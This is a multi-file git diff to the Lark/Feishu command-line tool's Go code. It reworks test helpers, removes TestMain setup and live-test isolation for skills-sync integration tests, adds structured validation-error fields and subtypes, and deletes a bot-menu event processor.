|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -13,34 +12,11 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/registry"
|
||||
)
|
||||
|
||||
const startupBrandHelperEnv = "GO_TEST_STARTUP_BRAND_HELPER"
|
||||
|
||||
var _ = flag.String("startup-brand-helper", "", "internal startup brand test helper nonce")
|
||||
|
||||
func isStartupBrandHelper() bool {
|
||||
return startupBrandHelperEnabled(os.Getenv(startupBrandHelperEnv), startupBrandHelperNonce(os.Args))
|
||||
}
|
||||
|
||||
func startupBrandHelperEnabled(envNonce, argNonce string) bool {
|
||||
return envNonce != "" && envNonce == argNonce
|
||||
}
|
||||
|
||||
func startupBrandHelperNonce(args []string) string {
|
||||
const prefix = "-startup-brand-helper="
|
||||
for _, arg := range args {
|
||||
if strings.HasPrefix(arg, prefix) {
|
||||
return strings.TrimPrefix(arg, prefix)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func TestResolveStartupBrand_Precedence(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", tmp)
|
||||
@@ -78,7 +54,7 @@ func TestResolveStartupBrand_Precedence(t *testing.T) {
|
||||
// sync.Once, so the brand must be injected before the first catalog access.
|
||||
// It runs in a subprocess because the registry is process-global.
|
||||
func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
|
||||
if isStartupBrandHelper() {
|
||||
if os.Getenv("GO_TEST_STARTUP_BRAND_HELPER") == "1" {
|
||||
// Helper: replicate Execute()'s build wiring with a lark config.
|
||||
buildInternal(
|
||||
context.Background(), cmdutil.InvocationContext{},
|
||||
@@ -95,11 +71,9 @@ func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
nonce := uuid.NewString()
|
||||
t.Setenv(startupBrandHelperEnv, nonce)
|
||||
cmd := exec.Command(os.Args[0], "-test.run", "TestStartupBrandReachesRegistry_RealStartupOrder")
|
||||
cmd.Args = append(cmd.Args, "-startup-brand-helper="+nonce)
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GO_TEST_STARTUP_BRAND_HELPER=1",
|
||||
"LARKSUITE_CLI_CONFIG_DIR="+tmp,
|
||||
"LARKSUITE_CLI_REMOTE_META=off", // no network during the subprocess build
|
||||
)
|
||||
@@ -111,33 +85,3 @@ func TestStartupBrandReachesRegistry_RealStartupOrder(t *testing.T) {
|
||||
t.Errorf("registry brand after real startup order = %s, want lark", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartupBrandHelperRequiresMatchingCommandNonce(t *testing.T) {
|
||||
for _, tt := range []struct {
|
||||
name string
|
||||
envNonce string
|
||||
argNonce string
|
||||
want bool
|
||||
}{
|
||||
{name: "neither set"},
|
||||
{name: "ambient environment only", envNonce: "ambient"},
|
||||
{name: "command argument only", argNonce: "command"},
|
||||
{name: "mismatch", envNonce: "ambient", argNonce: "command"},
|
||||
{name: "matching", envNonce: "nonce", argNonce: "nonce", want: true},
|
||||
} {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := startupBrandHelperEnabled(tt.envNonce, tt.argNonce); got != tt.want {
|
||||
t.Fatalf("startupBrandHelperEnabled() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartupBrandHelperNonce(t *testing.T) {
|
||||
if got := startupBrandHelperNonce([]string{"test", "-test.run", "brand"}); got != "" {
|
||||
t.Fatalf("startupBrandHelperNonce() = %q, want empty", got)
|
||||
}
|
||||
if got := startupBrandHelperNonce([]string{"test", "-startup-brand-helper=nonce"}); got != "nonce" {
|
||||
t.Fatalf("startupBrandHelperNonce() = %q, want nonce", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/registry/registrytest"
|
||||
)
|
||||
|
||||
// TestMain isolates command-tree tests from the host machine: config (and the
|
||||
// registry cache under it) is redirected to a temp dir, then the registry is
|
||||
// seeded from the tracked fixture and initialized eagerly. Tests pass on a
|
||||
// clean checkout with no network, no `make fetch_meta`, and no user cache.
|
||||
//
|
||||
// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
|
||||
// m.Run before exiting.
|
||||
func TestMain(m *testing.M) {
|
||||
if isStartupBrandHelper() {
|
||||
// Re-exec helper subprocess (startup_brand_test.go): the parent test
|
||||
// already provides an isolated config dir and disables remote metadata,
|
||||
// and the helper must own the first registry Init to prove the startup
|
||||
// order — do not seed or eagerly initialize here.
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
root, err := os.MkdirTemp("", "lark-cli-cmd-test-*")
|
||||
if err != nil {
|
||||
println("cmd test setup: MkdirTemp failed:", err.Error())
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", root); err != nil {
|
||||
println("cmd test setup: Setenv failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
if err := registrytest.Seed(root); err != nil {
|
||||
println("cmd test setup: registrytest.Seed failed:", err.Error())
|
||||
os.RemoveAll(root)
|
||||
os.Exit(2)
|
||||
}
|
||||
code := m.Run()
|
||||
os.RemoveAll(root)
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmdupdate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
root, err := os.MkdirTemp("", "lark-cli-update-test-*")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
code := m.Run()
|
||||
_ = os.RemoveAll(root)
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -24,8 +24,6 @@ import (
|
||||
"github.com/larksuite/cli/internal/skillscheck"
|
||||
)
|
||||
|
||||
const runLiveSkillsTestsEnv = "LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS"
|
||||
|
||||
// newTestFactory creates a test factory with minimal config.
|
||||
func newTestFactory(t *testing.T) (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
|
||||
t.Helper()
|
||||
@@ -33,17 +31,13 @@ func newTestFactory(t *testing.T) (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffe
|
||||
return f, stdout, stderr
|
||||
}
|
||||
|
||||
// mockDetect sets up newUpdater to return an Updater with the given DetectResult
|
||||
// and fully mocked skills operations. Tests that only care about install-method
|
||||
// detection must never fall through to the real npx skills CLI.
|
||||
// mockDetect sets up newUpdater to return an Updater with the given DetectResult.
|
||||
func mockDetect(t *testing.T, result selfupdate.DetectResult) {
|
||||
t.Helper()
|
||||
origNew := newUpdater
|
||||
newUpdater = func() *selfupdate.Updater {
|
||||
u := selfupdate.New()
|
||||
u.DetectOverride = func() selfupdate.DetectResult { return result }
|
||||
u.SkillsIndexFetchOverride = successfulSkillsIndexFetch()
|
||||
u.SkillsCommandOverride = successfulSkillsCommand()
|
||||
return u
|
||||
}
|
||||
t.Cleanup(func() { newUpdater = origNew })
|
||||
@@ -110,18 +104,6 @@ func successfulSkillsCommand() func(args ...string) *selfupdate.NpmResult {
|
||||
}
|
||||
}
|
||||
|
||||
func mockSkillsSync(t *testing.T) {
|
||||
t.Helper()
|
||||
origNew := newUpdater
|
||||
newUpdater = func() *selfupdate.Updater {
|
||||
u := selfupdate.New()
|
||||
u.SkillsIndexFetchOverride = successfulSkillsIndexFetch()
|
||||
u.SkillsCommandOverride = successfulSkillsCommand()
|
||||
return u
|
||||
}
|
||||
t.Cleanup(func() { newUpdater = origNew })
|
||||
}
|
||||
|
||||
func TestUpdatePnpm_JSON(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
f, stdout, _ := newTestFactory(t)
|
||||
@@ -246,9 +228,6 @@ func TestNormalizeVersion(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestUpdateAlreadyUpToDate_JSON(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
mockSkillsSync(t)
|
||||
|
||||
f, stdout, _ := newTestFactory(t)
|
||||
|
||||
cmd := NewCmdUpdate(f)
|
||||
@@ -277,9 +256,6 @@ func TestUpdateAlreadyUpToDate_JSON(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestUpdateAlreadyUpToDate_Human(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
mockSkillsSync(t)
|
||||
|
||||
f, _, stderr := newTestFactory(t)
|
||||
|
||||
cmd := NewCmdUpdate(f)
|
||||
@@ -305,7 +281,6 @@ func TestUpdateAlreadyUpToDate_Human(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestUpdateManual_JSON(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
f, stdout, _ := newTestFactory(t)
|
||||
cmd := NewCmdUpdate(f)
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
@@ -337,7 +312,6 @@ func TestUpdateManual_JSON(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestUpdateManual_Human(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
f, _, stderr := newTestFactory(t)
|
||||
cmd := NewCmdUpdate(f)
|
||||
cmd.SetArgs([]string{})
|
||||
@@ -1187,7 +1161,6 @@ func TestRunSkillsAndState_DedupForceBypass(t *testing.T) {
|
||||
}
|
||||
called := false
|
||||
updater := &selfupdate.Updater{
|
||||
SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
|
||||
SkillsCommandOverride: func(args ...string) *selfupdate.NpmResult {
|
||||
called = true
|
||||
return successfulSkillsCommand()(args...)
|
||||
@@ -1204,10 +1177,7 @@ func TestRunSkillsAndState_DedupForceBypass(t *testing.T) {
|
||||
|
||||
func TestRunSkillsAndState_SuccessWritesState(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
updater := &selfupdate.Updater{
|
||||
SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
|
||||
SkillsCommandOverride: successfulSkillsCommand(),
|
||||
}
|
||||
updater := &selfupdate.Updater{SkillsCommandOverride: successfulSkillsCommand()}
|
||||
got := runSkillsAndState(updater, newTestIO(), "1.0.21", false)
|
||||
if got == nil || got.Err != nil {
|
||||
t.Fatalf("runSkillsAndState() = %+v, want non-nil with nil Err", got)
|
||||
@@ -1227,7 +1197,6 @@ func TestRunSkillsAndState_FailureKeepsOldState(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
updater := &selfupdate.Updater{
|
||||
SkillsIndexFetchOverride: successfulSkillsIndexFetch(),
|
||||
SkillsCommandOverride: func(args ...string) *selfupdate.NpmResult {
|
||||
r := &selfupdate.NpmResult{}
|
||||
r.Err = fmt.Errorf("npx failed")
|
||||
@@ -1544,133 +1513,28 @@ func TestEmitSkillsTextHints_Success(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// liveSkillsIsolationEnv is the single source of truth for the user-state
|
||||
// directories a live skills test must redirect under the temporary home. It
|
||||
// covers the CLI's own config, the agent homes the skills CLI installs into,
|
||||
// the XDG dirs it derives paths from (XDG_STATE_HOME holds its global
|
||||
// .skill-lock.json), and the npm/npx overrides that take precedence over
|
||||
// HOME-derived defaults (both cases: npm reads npm_config_* case-insensitively).
|
||||
func liveSkillsIsolationEnv(home string) map[string]string {
|
||||
return map[string]string{
|
||||
"HOME": home,
|
||||
"USERPROFILE": home,
|
||||
"APPDATA": filepath.Join(home, "AppData", "Roaming"),
|
||||
"LOCALAPPDATA": filepath.Join(home, "AppData", "Local"),
|
||||
"XDG_CONFIG_HOME": filepath.Join(home, ".config"),
|
||||
"XDG_DATA_HOME": filepath.Join(home, ".local", "share"),
|
||||
"XDG_STATE_HOME": filepath.Join(home, ".local", "state"),
|
||||
"CODEX_HOME": filepath.Join(home, ".codex"),
|
||||
"CLAUDE_CONFIG_DIR": filepath.Join(home, ".claude"),
|
||||
"LARKSUITE_CLI_CONFIG_DIR": filepath.Join(home, ".lark-cli"),
|
||||
"npm_config_cache": filepath.Join(home, ".npm-cache"),
|
||||
"NPM_CONFIG_CACHE": filepath.Join(home, ".npm-cache"),
|
||||
"npm_config_prefix": filepath.Join(home, ".npm-global"),
|
||||
"NPM_CONFIG_PREFIX": filepath.Join(home, ".npm-global"),
|
||||
"npm_config_userconfig": filepath.Join(home, ".npmrc"),
|
||||
"NPM_CONFIG_USERCONFIG": filepath.Join(home, ".npmrc"),
|
||||
}
|
||||
}
|
||||
|
||||
func prepareLiveSkillsIntegration(t *testing.T) string {
|
||||
t.Helper()
|
||||
if os.Getenv(runLiveSkillsTestsEnv) != "1" {
|
||||
t.Skipf("live skills integration test disabled; set %s=1 to run", runLiveSkillsTestsEnv)
|
||||
}
|
||||
|
||||
home := t.TempDir()
|
||||
for key, value := range liveSkillsIsolationEnv(home) {
|
||||
t.Setenv(key, value)
|
||||
}
|
||||
return home
|
||||
}
|
||||
|
||||
func TestPrepareLiveSkillsIntegration(t *testing.T) {
|
||||
reachedAfterGate := false
|
||||
t.Run("requires explicit opt-in", func(t *testing.T) {
|
||||
t.Setenv(runLiveSkillsTestsEnv, "")
|
||||
prepareLiveSkillsIntegration(t)
|
||||
reachedAfterGate = true
|
||||
})
|
||||
if reachedAfterGate {
|
||||
t.Fatal("prepareLiveSkillsIntegration continued without explicit opt-in")
|
||||
}
|
||||
|
||||
t.Run("isolates user directories", func(t *testing.T) {
|
||||
t.Setenv(runLiveSkillsTestsEnv, "1")
|
||||
home := prepareLiveSkillsIntegration(t)
|
||||
// Pin the isolation contract by key: removing a variable from
|
||||
// liveSkillsIsolationEnv must fail this list, and every redirected
|
||||
// value must live under the temporary home.
|
||||
required := []string{
|
||||
"HOME", "USERPROFILE", "APPDATA", "LOCALAPPDATA",
|
||||
"XDG_CONFIG_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME",
|
||||
"CODEX_HOME", "CLAUDE_CONFIG_DIR", "LARKSUITE_CLI_CONFIG_DIR",
|
||||
"npm_config_cache", "NPM_CONFIG_CACHE",
|
||||
"npm_config_prefix", "NPM_CONFIG_PREFIX",
|
||||
"npm_config_userconfig", "NPM_CONFIG_USERCONFIG",
|
||||
}
|
||||
env := liveSkillsIsolationEnv(home)
|
||||
for _, key := range required {
|
||||
expected, ok := env[key]
|
||||
if !ok {
|
||||
t.Errorf("liveSkillsIsolationEnv dropped required key %s", key)
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(expected, home) {
|
||||
t.Errorf("%s = %q escapes temporary home %q", key, expected, home)
|
||||
}
|
||||
if got := os.Getenv(key); got != expected {
|
||||
t.Errorf("%s = %q, want %q", key, got, expected)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// seedLiveSkillsGlobal verifies the real npx skills CLI is reachable, installs
|
||||
// lark-calendar into the isolated global skills dir, and returns the parsed
|
||||
// global skills list. The caller opted in explicitly, so every missing
|
||||
// precondition is a hard failure — skipping would report "nothing verified"
|
||||
// as a green run.
|
||||
func seedLiveSkillsGlobal(t *testing.T) []string {
|
||||
t.Helper()
|
||||
// TestUpdateCommand_RealSkillsSyncRewritesState is a live integration test that
|
||||
// verifies "lark-cli update" correctly triggers skills sync and rewrites the
|
||||
// state file. It calls the real npx skills CLI, so the test is skipped when
|
||||
// npx or the skills registry is unavailable (e.g. no network or fork PRs).
|
||||
func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
|
||||
// Phase 1: Verify the real npx skills CLI is available; skip otherwise.
|
||||
if _, err := exec.LookPath("npx"); err != nil {
|
||||
t.Fatalf("live skills tests opted in but npx not found in PATH: %v", err)
|
||||
t.Skipf("npx not found in PATH: %v", err)
|
||||
}
|
||||
// Three sequential npx runs against a cold cache (the isolated home starts
|
||||
// empty) can be slow; with Fatal-on-timeout semantics the budget errs on
|
||||
// the generous side.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 45*time.Second)
|
||||
defer cancel()
|
||||
if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "--list").Run(); err != nil {
|
||||
t.Fatalf("live skills tests opted in but real skills CLI unavailable: %v", err)
|
||||
}
|
||||
if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "-s", "lark-calendar", "-g", "-y").Run(); err != nil {
|
||||
t.Fatalf("failed to seed isolated global skills: %v", err)
|
||||
t.Skipf("real skills CLI unavailable: %v", err)
|
||||
}
|
||||
globalOut, err := exec.CommandContext(ctx, "npx", "-y", "skills", "ls", "-g").Output()
|
||||
if err != nil {
|
||||
t.Fatalf("real global skills CLI unavailable: %v", err)
|
||||
t.Skipf("real global skills CLI unavailable: %v", err)
|
||||
}
|
||||
localSkills := skillscheck.ParseSkillsList(string(globalOut))
|
||||
if len(localSkills) == 0 {
|
||||
t.Fatal("seeded lark-calendar but global skills list is empty")
|
||||
}
|
||||
if err := ctx.Err(); err != nil {
|
||||
t.Fatalf("real skills CLI availability check timed out: %v", err)
|
||||
t.Skipf("real skills CLI availability check timed out: %v", err)
|
||||
}
|
||||
return localSkills
|
||||
}
|
||||
|
||||
// TestUpdateCommand_RealSkillsSyncRewritesState is a live integration test that
|
||||
// verifies "lark-cli update" correctly triggers skills sync and rewrites the
|
||||
// state file. It calls the real npx skills CLI and only runs with explicit
|
||||
// opt-in. All user directories are redirected to a temporary home.
|
||||
func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
|
||||
prepareLiveSkillsIntegration(t)
|
||||
|
||||
// Phase 1: Verify the real npx skills CLI is available and seed the
|
||||
// isolated global skills install.
|
||||
localSkills := seedLiveSkillsGlobal(t)
|
||||
|
||||
// Phase 2: Seed a previous sync state simulating an upgrade from v1.0.19.
|
||||
// lark-doc and lark-mail are recorded as skipped/deleted, meaning the user
|
||||
@@ -1766,17 +1630,26 @@ func TestUpdateCommand_RealSkillsSyncRewritesState(t *testing.T) {
|
||||
// not exist (cold start), the update command installs all official skills and
|
||||
// writes a fresh state file. No skill should appear in SkippedDeletedSkills
|
||||
// because there is no previous state to preserve user deletions from.
|
||||
// This is a live integration test that calls the real npx skills CLI and only
|
||||
// runs with explicit opt-in. All user directories are redirected to a temporary
|
||||
// home.
|
||||
// This is a live integration test that calls the real npx skills CLI; it is
|
||||
// skipped when npx or the skills registry is unavailable.
|
||||
func TestUpdateCommand_SkillsSyncColdStart(t *testing.T) {
|
||||
prepareLiveSkillsIntegration(t)
|
||||
|
||||
// Phase 1: Verify the real npx skills CLI is available and seed one known
|
||||
// official skill into the isolated global install. Cold start means no
|
||||
// skills-state.json — locally installed skills may still exist, and seeding
|
||||
// one keeps the Phase 4 per-skill assertions from running zero times.
|
||||
localSkills := seedLiveSkillsGlobal(t)
|
||||
// Phase 1: Verify the real npx skills CLI is available; skip otherwise.
|
||||
if _, err := exec.LookPath("npx"); err != nil {
|
||||
t.Skipf("npx not found in PATH: %v", err)
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 45*time.Second)
|
||||
defer cancel()
|
||||
if err := exec.CommandContext(ctx, "npx", "-y", "skills", "add", "https://open.feishu.cn", "--list").Run(); err != nil {
|
||||
t.Skipf("real skills CLI unavailable: %v", err)
|
||||
}
|
||||
globalOut, err := exec.CommandContext(ctx, "npx", "-y", "skills", "ls", "-g").Output()
|
||||
if err != nil {
|
||||
t.Skipf("real global skills CLI unavailable: %v", err)
|
||||
}
|
||||
localSkills := skillscheck.ParseSkillsList(string(globalOut))
|
||||
if err := ctx.Err(); err != nil {
|
||||
t.Skipf("real skills CLI availability check timed out: %v", err)
|
||||
}
|
||||
|
||||
// Phase 2: Use an isolated config dir with no pre-existing skills-state.json.
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
@@ -294,3 +294,23 @@ func TestConfirmationRequiredError_MarshalJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidationErrorResolvedAnswersJSON pins the resolved_answers wire shape —
|
||||
// the failed_precondition extension the agents input_required flow's recovery
|
||||
// playbook branches on (the field NAME is the AI-consumer contract).
|
||||
func TestValidationErrorResolvedAnswersJSON(t *testing.T) {
|
||||
ve := NewValidationError(SubtypeFailedPrecondition, "任务已不在等待输入").
|
||||
WithResolvedAnswers(map[string][]string{"q1_a8": {"by_region"}})
|
||||
b, err := json.Marshal(ve)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if want := `"resolved_answers":{"q1_a8":["by_region"]}`; !strings.Contains(string(b), want) {
|
||||
t.Errorf("marshal should carry %s, got %s", want, b)
|
||||
}
|
||||
// Absent when unset (omitempty).
|
||||
b, _ = json.Marshal(NewValidationError(SubtypeFailedPrecondition, "x"))
|
||||
if strings.Contains(string(b), "resolved_answers") {
|
||||
t.Errorf("unset resolved_answers must be omitted, got %s", b)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,8 +12,10 @@ const (
|
||||
|
||||
// CategoryValidation subtypes
|
||||
const (
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (capability gating on the agent card); exit 2, no request is sent
|
||||
SubtypeUnavailableForBrand Subtype = "unavailable_for_brand" // the addressed agent/capability exists but is not available under the current login brand (feishu vs lark); exit 2, no request is sent (sibling of unsupported_capability)
|
||||
)
|
||||
|
||||
// CategoryAuthentication subtypes
|
||||
|
||||
@@ -63,7 +63,15 @@ type ValidationError struct {
|
||||
Problem
|
||||
Param string `json:"param,omitempty"`
|
||||
Params []InvalidParam `json:"params,omitempty"`
|
||||
Cause error `json:"-"`
|
||||
// ResolvedAnswers is the failed_precondition extension for the agents
|
||||
// input_required flow (per-Subtype extension field, same convention as
|
||||
// PermissionError.MissingScopes): when a question-group answer arrives after
|
||||
// the group was already resolved (another endpoint answered first, or a
|
||||
// retry landed twice), the provider echoes WHAT was accepted — keyed like
|
||||
// the answer submission itself — so an AI caller can tell the user the
|
||||
// outcome without parsing prose.
|
||||
ResolvedAnswers map[string][]string `json:"resolved_answers,omitempty"`
|
||||
Cause error `json:"-"`
|
||||
}
|
||||
|
||||
// InvalidParam is one structured validation diagnostic: the parameter that
|
||||
@@ -81,6 +89,11 @@ type InvalidParam struct {
|
||||
// parameter (e.g. did-you-mean flags or subcommands), so an agent can retry
|
||||
// without parsing the human-facing hint. Omitted when there are none.
|
||||
Suggestions []string `json:"suggestions,omitempty"`
|
||||
// Spec optionally embeds the parameter's full declaration (type, enum,
|
||||
// default, description, ...) so the error is self-contained: a caller can
|
||||
// fix the value without a discovery round-trip. Producers pass a
|
||||
// JSON-marshalable declaration struct; omitted when not applicable.
|
||||
Spec any `json:"spec,omitempty"`
|
||||
}
|
||||
|
||||
// Unwrap exposes the wrapped cause so errors.Unwrap / errors.Is can traverse
|
||||
@@ -140,6 +153,22 @@ func (e *ValidationError) WithParam(param string) *ValidationError {
|
||||
return e
|
||||
}
|
||||
|
||||
// WithResolvedAnswers attaches the already-accepted answer set to a
|
||||
// failed_precondition (see the ResolvedAnswers field doc). The map and its
|
||||
// value slices are cloned — the builder never aliases caller-owned memory
|
||||
// (same immutability rule as WithMissingScopes/slices.Clone).
|
||||
func (e *ValidationError) WithResolvedAnswers(answers map[string][]string) *ValidationError {
|
||||
if len(answers) == 0 {
|
||||
return e
|
||||
}
|
||||
cp := make(map[string][]string, len(answers))
|
||||
for k, v := range answers {
|
||||
cp[k] = slices.Clone(v)
|
||||
}
|
||||
e.ResolvedAnswers = cp
|
||||
return e
|
||||
}
|
||||
|
||||
func (e *ValidationError) WithParams(params ...InvalidParam) *ValidationError {
|
||||
e.Params = append(e.Params, params...)
|
||||
return e
|
||||
|
||||
@@ -1,107 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package application
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
// BotMenuOutput is the flattened shape for application.bot.menu_v6.
|
||||
type BotMenuOutput struct {
|
||||
Type string `json:"type" desc:"Event type; always application.bot.menu_v6"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); prefers header.create_time" kind:"timestamp_ms"`
|
||||
AppID string `json:"app_id,omitempty" desc:"Application ID from the event header"`
|
||||
TenantKey string `json:"tenant_key,omitempty" desc:"Tenant key from the event header"`
|
||||
EventKey string `json:"event_key,omitempty" desc:"Developer-defined bot menu event key"`
|
||||
MenuTimestamp string `json:"menu_timestamp,omitempty" desc:"Menu click timestamp from the event body" kind:"timestamp_ms"`
|
||||
OperatorID string `json:"operator_id,omitempty" desc:"Operator open_id; kept as a short alias of operator_open_id" kind:"open_id"`
|
||||
OperatorOpenID string `json:"operator_open_id,omitempty" desc:"Operator open_id" kind:"open_id"`
|
||||
OperatorUnionID string `json:"operator_union_id,omitempty" desc:"Operator union_id" kind:"union_id"`
|
||||
OperatorUserID string `json:"operator_user_id,omitempty" desc:"Operator user_id" kind:"user_id"`
|
||||
OperatorName string `json:"operator_name,omitempty" desc:"Operator display name"`
|
||||
}
|
||||
|
||||
func processBotMenu(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
AppID string `json:"app_id"`
|
||||
TenantKey string `json:"tenant_key"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
EventKey string `json:"event_key"`
|
||||
Timestamp json.RawMessage `json:"timestamp"`
|
||||
Operator struct {
|
||||
OperatorID struct {
|
||||
OpenID string `json:"open_id"`
|
||||
UnionID string `json:"union_id"`
|
||||
UserID string `json:"user_id"`
|
||||
} `json:"operator_id"`
|
||||
OperatorName string `json:"operator_name"`
|
||||
} `json:"operator"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
|
||||
}
|
||||
|
||||
menuTimestamp := timestampMillisString(envelope.Event.Timestamp)
|
||||
timestamp := envelope.Header.CreateTime
|
||||
if timestamp == "" {
|
||||
timestamp = menuTimestamp
|
||||
}
|
||||
operatorID := envelope.Event.Operator.OperatorID.OpenID
|
||||
|
||||
out := &BotMenuOutput{
|
||||
Type: eventTypeBotMenuV6,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: timestamp,
|
||||
AppID: envelope.Header.AppID,
|
||||
TenantKey: envelope.Header.TenantKey,
|
||||
EventKey: envelope.Event.EventKey,
|
||||
MenuTimestamp: menuTimestamp,
|
||||
OperatorID: operatorID,
|
||||
OperatorOpenID: operatorID,
|
||||
OperatorUnionID: envelope.Event.Operator.OperatorID.UnionID,
|
||||
OperatorUserID: envelope.Event.Operator.OperatorID.UserID,
|
||||
OperatorName: envelope.Event.Operator.OperatorName,
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
|
||||
func rawScalarString(raw json.RawMessage) string {
|
||||
s := strings.TrimSpace(string(raw))
|
||||
if s == "" || s == "null" {
|
||||
return ""
|
||||
}
|
||||
var text string
|
||||
if err := json.Unmarshal(raw, &text); err == nil {
|
||||
return text
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func timestampMillisString(raw json.RawMessage) string {
|
||||
s := rawScalarString(raw)
|
||||
if len(s) == 10 && allDigits(s) {
|
||||
return s + "000"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func allDigits(s string) bool {
|
||||
for _, r := range s {
|
||||
if r < '0' || r > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return s != ""
|
||||
}
|
||||
